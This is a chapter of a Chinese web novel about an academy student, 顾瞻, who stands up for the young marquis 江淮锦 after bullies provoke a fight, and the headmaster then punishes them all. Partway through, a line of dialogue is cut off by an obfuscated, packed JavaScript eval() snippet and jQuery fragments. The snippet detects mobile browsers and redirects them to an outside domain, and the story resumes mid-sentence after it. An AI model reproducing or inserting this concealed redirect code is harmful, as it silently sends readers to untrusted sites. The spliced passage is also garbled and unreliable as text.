第23章
“打起来了,快点快点,看热闹去。”
“新来的那个?怪横的,他带头闹事也就算了,竟然还纵容家仆行凶,这山长知道了能饶他?当咱们溪山书院是什么地方,来这儿撒泼。”
“就是,我看就算是不退学,也得关惩戒院。”
顾瞻来的路上就听见不少人吵吵嚷嚷,本来没当回事,听着听着脸色就沉下来,脚下步子越来越快,等他快步走到门口,就看见外面静悄悄围了一堆人趴在窗户看往里看。
挤过人群进去,才看见书斋里面是什么场景。
乱糟糟一片。书页横飞,案几倒得乱七八糟,地上趴着几个人,顾瞻没看清楚是谁,他就注意到江淮锦冷着一张脸立在一旁,身上的锦袍沾了些墨汁,好好的衣裳被墨汁染脏一大片。
顾瞻拧眉过去,拉过江淮锦上下看一遍,问:“怎么回事?他们跟你动手?身上呢?”
江淮锦带着气,没吭声只往地上看了一眼。
角落里散着一个匣子,单瞧匣子的样式就不是普通人家用得起,匣子散开里面的东西洒落一地,有些精致小巧的点心吃食,做得很漂亮,哪怕落在地上沾了墨也能看出来玲珑剔透的水晶饺子出炉前一定非常鲜美。
“给我带的?”顾瞻一眼就看出来名堂。
又看了看被撂爬在地上的人,没想到竟然还是熟人,正是那日与他起过争执的姚长青与刘书横等人。
顾瞻揉了一把江淮锦的肩膀,也没说什么。走过去把散落在地上的精致小点心都收拾起来,连带着精美的食盒匣子也一并收好,叫给江淮锦带来的小厮,才过去走到那二人跟前。
蹲下来一看,差点笑出声。
看不出来被打出什么伤,就是呲牙咧嘴的样子一看就是被闷着揍过,顾瞻是个行家,伸手在暗处压了两下,果然见二人瞪着眼睛疼得喘不上气,顾瞻才站起来。
还行,没吃亏。
躺在地上的刘书横淬了口唾沫,阴阳怪气:“什么玩意儿,碰一下怎么了?多金贵,有种给我等着!”
挨着的姚长青也不甘示弱:“妈的,就你个崽子会叫人是吧?散了学再说!”
顾瞻冷眼过去:“散学你要怎样?带人堵他?有种试试。”
这边吵吵嚷嚷还没完,那边就已经有人悄悄通知山长。张百熙一听又是次下斋那边在闹事,带着戒尺直接领着惩戒院监院气势汹汹就赶了过来,众学子见山长带人过来都做鸟兽飞散,生怕被牵连上受罚。
等张百熙进来一看,顿时一个头两个大。
溪山书院事情其实不多,管理起来也省心,最让人操心的其实就是这次下斋!
秉圣人之教诲当有教无类,所以张百熙一直觉得哪怕是再不上进的学生也要有求学的资格,所以他一向对次下斋这些学生多加包容,譬如顾瞻这种,他也不是不上心学业,只是外因耽搁而已,像顾瞻这种情况次下斋还有许多,张百熙也总包容他们。
可,接二连三在书院打架滋事,还怎么包容?!更不用说这次竟然还牵连到淮安侯!
“顾瞻!”张百熙一进来就不问青红皂白,只看见顾瞻蹲在那,地上躺着两个人,气得只拿戒尺要抽顾瞻:“又是你!你又在书院闹事,我看这次不严惩你是不会长教训!你给我……”
话还没说完,戒尺就被人拦下,江淮锦冷着一双眼看着山长,低声道:“跟他没关系,是我。”
江淮锦这里拦着山长不许惩戒顾瞻,不知道从哪个角落里钻出来的唐子宽连忙拽着顾瞻要走:“山长,这回可真跟顾哥没关系,顾哥来得晚可啥都没赶上,要是知道这里打架闹事,我们躲着走。”
话说完就想拉顾瞻走,顾瞻目光一瞥就看见那小孩儿绷着一张脸死命盯着唐子宽,像是想要再来跟唐子宽干一架的意思,甩开袖子把唐子宽推搡到一边没理。
张百熙不明就里,但他见过上一次顾瞻跟这几个人起冲突,而且情况就跟现在一模一样,还是人家淮安侯给挡住的,也不知道顾瞻到底哪里入了侯爷的眼睛,竟然如此袒护。
“顾瞻!”张百熙自己心里料定,这次是没打算轻轻放过,绷着脸严肃地呵斥道:“你一而再再而三在书院闹事,这次一定要严惩,现在就跟监院去领罚!”
“我闹事,山长要罚就罚我,顾瞻才来,他什么都不知道,山长不信可以向人求证。”江淮锦一听这话,立马不乐意:“山长不要平白牵连无辜人。”
张百熙不信,举着戒尺指向顾瞻:“他无辜?”
“无辜!”江淮锦四下略看了看,看热闹的人早就已经溜干净,现场也只有挨打的刘、姚等人可以佐证,江淮锦直接命令道:“跟山长说,这件事跟顾瞻没关系。”
“呸,山长,就是他们俩!”姚长青嘴角还青着,一嚷嚷疼得呲牙咧嘴,指着他们一阵咧咧:“山长一定要为我们做主呀,这俩人狼狈为奸沆瀣一气!我们什么也没有干,就是跟着新来的说两句话,谁知道他就翻脸不认人,上来就纵容家仆行凶,山长,一定要严惩!必须严惩!书院是读书的圣地,要是纵容这种行为,学生还如何能安心读书!”
张百熙:……
这些人平素什么德行张百熙心里都有数,再加上淮安侯到溪山书院这许多天也没有主动惹过事,这次忽然动怒其中必然有隐情。
还没等张百熙说话,就听顾瞻直接问:“什么也没有干?他身上的墨怎么回事?地上的糕点怎么回事?欺生你们还有理了是不是?说他纵仆行凶,倘若他没带两个家仆、”
顾瞻话到这里顿了一下,没有继续往下说,只是看那俩人的眼神越发冷,朝山长行了一礼后沉声说道:“还请山长公断!”
“顾哥!”一旁的唐子宽有点着急,扯了扯顾瞻没扯动,堆着笑脸冲山长:“山长,您该公断
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386802|184193||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就公断,就是吧,今天这事儿真跟顾哥没关系,他就仗义,见不得新来的让人欺负。您看要不我们先走?”
张百熙看看顾瞻,又看看四下里的“战况”,事情的来龙去脉在心里面已经有个大概的推测,这事儿不能轻易就这么断,两边肯定都不能轻容,背手拿着戒尺走姚、张二人跟前讯问:“江同学今日上课,带了一匣子贵重糕点,你二人借故上前挑衅,进而激化矛盾,掀翻了糕点泼墨于他,江同学不忿遂喊来家仆将你二人打伤,是不是?”
地上的两个人还在辩解:“山长,我们可没有挑衅,绝对没有挑衅!大家都是同窗,吃他两块糕点怎么了,大不了还他。”
张百熙点点头,又问江淮锦:“他们二人动了你的糕点,你纵仆,是否有错?”
江淮锦别过脸,就差把那俩人活该挨打写脸上:“但凭山长处置!”
张百熙听着这话,悄悄咽了一口唾沫。要知道这位可不是个善茬,崇文馆的张大人骨折还没好呢,可见着陛下对他有什么惩戒?现在凭他一个小小的书院山长处置?
咳!该处置还是得处置,书院若无法纪,还怎么约束众位学子?成日里打打闹闹都把书院搅和成集市,往后还在怎么报效朝廷?!
“你们几人书院闹事生非,按惩戒院纪律罚停课五日,惩戒院关禁闭三日,劳动两日!”张百熙摆出山长的威严:“再有下次,加倍严惩!”
“王监院,带他们受罚。”
王监院一脸络腮胡子,粗布短打的装扮,瞧着应该是个武出身,伸手就把地上的俩人提溜起来,瞧了江淮锦一眼,吩咐道:“跟我走。”
江淮锦抻了抻衣摆,抬步跟上,才走了一步扭脸看后面的顾瞻,拧眉:“你干什么?”
顾瞻:“快点,监院走远了。”
“我受罚你不用,你回去。”江淮锦不悦:“跟你没关系。”
顾瞻瞧着他白生生的一张小脸,从今儿见着就不大高兴,伸手给他搓了一把,自顾往前走:“快点走吧,早上没吃饭饿着呢。惩戒院的馒头咸菜虽然没有你那精致的小点心可口,到底还算管饱,再不走咸菜都没了。”
“顾瞻,说了跟你没关系,你不许去!”江淮锦急着追上去拉扯顾瞻,没两下就被顾瞻按住,揽着他的肩膀一块儿走,顾瞻叹了口气,在江淮锦耳边低语道:“有关系,那俩孙子指定得报复,我得去探探情况,以防万一。”
江淮锦一顿,脸色变得更加不好看,半晌才低语道:“我连累你了吗?对不起。”
软软的糯糯的道歉,听得顾瞻心里特别不是滋味,重重拍了拍小孩儿的后背:“胡说什么,要连累也是我连累你。这俩货跟我一直不对付,故意找你茬,所以你说跟我有关系没?咱俩这是栓一根绳上的蚂蚱,谁也跑不了。”
阴着半天脸的江淮锦终于露出来一点笑意,罚就罚吧,反正他跟顾瞻栓一起的,哼。